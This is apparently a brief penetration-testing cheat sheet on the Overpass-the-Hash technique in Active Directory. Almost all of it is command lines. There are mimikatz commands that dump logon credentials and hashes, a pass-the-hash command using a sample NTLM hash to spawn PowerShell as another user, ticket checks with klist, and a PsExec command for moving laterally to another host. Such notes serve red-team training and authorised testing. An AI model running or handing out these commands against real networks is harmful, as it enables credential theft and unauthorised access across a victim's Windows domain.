Lateral Movement Overpass The Hash

Create Kerberos tickets using a users NTLM hash and mimikatz

#active directory#adot8

Overpass the Hash

Create Kerberos tickets using a users NTLM hash and mimikatz

Obtain hash

code

01privilege::debug
02sekurlsa::logonpasswords

Request ticket

code

01sekurlsa::pth /user:adot /domain:adot.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

Powershell will start as the new user. Test by using a restricted resource and viewing TGT's

code

01net use \\restricted01
02klist

Can use PsExec to move laterally

code

01.\PsExec.exe \\web04 cmd